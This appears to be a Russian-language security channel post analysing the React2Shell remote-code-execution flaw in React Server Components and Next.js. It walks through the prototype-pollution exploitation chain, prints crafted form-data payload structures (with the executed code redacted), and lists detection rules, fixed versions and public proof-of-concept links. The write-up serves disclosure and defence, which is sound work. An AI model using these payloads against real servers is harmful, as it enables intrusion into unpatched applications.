➡️Что по поводу React2Shell (
CVE-2025-55182 / CVE-2025-66478)?Исходя из обновлённых react2shell.com (ресурс от автора CVE) и репозитория msanft/CVE-2025-55182, на данный момент имеем следующее: подтверждается, что наконец стали распространяться валидные PoC, не требующие подключения
vm#runInThisContext, child_process#exec, fs#writeFile и им подобных;⚡️ UPD:
Уже доступен оригинальный PoC, использованный для репорта уязвимости вендору!
🐇 Проблема
Сервер и клиент обмениваются чанками, передавая их через
form-data — причём чанки могут содержать ссылки друг на друга. До этого коммита не проверялось, принадлежит ли ключ объекту — можно было добраться до прототипа;С помощью нагрузки вроде"$1:__proto__:constructor:constructor"можно получить[Function: Function]— глобальный конструктор;
Если чанк имеет поле
then, то уязвимый сервер думает, что это промис — делает await decodeReplyFromBusboy(...) и вызывает then(resolve, reject);Соответственно, можем сформировать специальный объект, гдеthenуказывал бы наFunction
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}🐇 Эксплуатация
0️⃣ Десериализатор React через
getChunck берёт чанк с ID=0 как корневой для разбора ссылок;1️⃣ Через специальный синтаксис (
$@) можно сослаться из чанка ID=1 на чанк ID=0, который вернул бы сырой чанк вместо разобранного объекта;2️⃣ Когда
.status вредоносного чанка = "resolved_model", мы попадаем в initializeModelChunk — где .value парсится как JSON, резолвятся ссылки и вызывается reviveModel, куда передаётся _response из чанка; 3️⃣ При обработке blob'ов с префиксом
$B происходит вызов response._formData.get(response._prefix + obj);4️⃣ Значит, в
._formData — указываем на конструктор Function, а в ._prefix — на произвольный код;5️⃣
response._formData.get(response._prefix + "0") превратится в Function("█████████") ⚡️6️⃣ Эксплуатация происходит во время десериализации, ещё до валидации запроса через
getActionModIdOrError; В запросе должен быть заголовок Next-Action🐇 Полезная нагрузка
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"███████████████████;",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}Разбирая полезную нагрузку по пунктам:
▪️"then": "$1:__proto__:then"
➡️ чтобы чанкID=0переписал собственный.then();
▪️"status": "resolved_model"
➡️ чтобыChunk.prototype.thenперешёл к выполнениюinitializeModelChunk;
▪️"reason": -1
➡️ чтобы не упасть на моментеtoStringвinitializeModelChunk;
▪️"value": '{"then": "$B0"}'
➡️ чтобы после второго прохода десериализации превратить в thenable и добраться доresponse._formData.get(response._prefix + obj);
▪️"_prefix"
➡️ здесь произвольный код для выполнения;
▪️"_formData"
➡️ здесь указываем на конструктор;
🐇 Обнаружение & Митигация
🧩 WAF правила: AWS / Google Cloud / Azure
🧩 Шаблон Nuclei: projectdiscovery/nuclei-templates/.../CVE-2025-55182.yaml
CVE-2025-55182Уязвимые версии: от React 19 до React 19.2.0
Починили в React 19.2.1
Починили тут: facebook/react/commit/7dc9...8700
Объявили тут: react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components
CVE-2025-66478Уязвимые версии: от Next.js 15 до Next.js 16
Починили в этих версиях
Починили тут: vercel/next.js/commit/6ef90...07b2
Объявили тут: nextjs.org/blog/CVE-2025-66478
⬜➖⬜➖⬜➖
➡️Здесь и здесь — подробный разбор причины, следствия и эксплуатации, а также PoC от сильного тайваньского CTF'ера:
🧩 msanft/CVE-2025-55182
🧩 maple3142/48bc...f5f3
⚡️ А здесь – сразу несколько PoC'ов от оригинального автора CVE:
🧩 lachlan2k/React2Shell-CVE-2025-55182-original-poc
➡️Stay safe!
@HaHacking 🐇
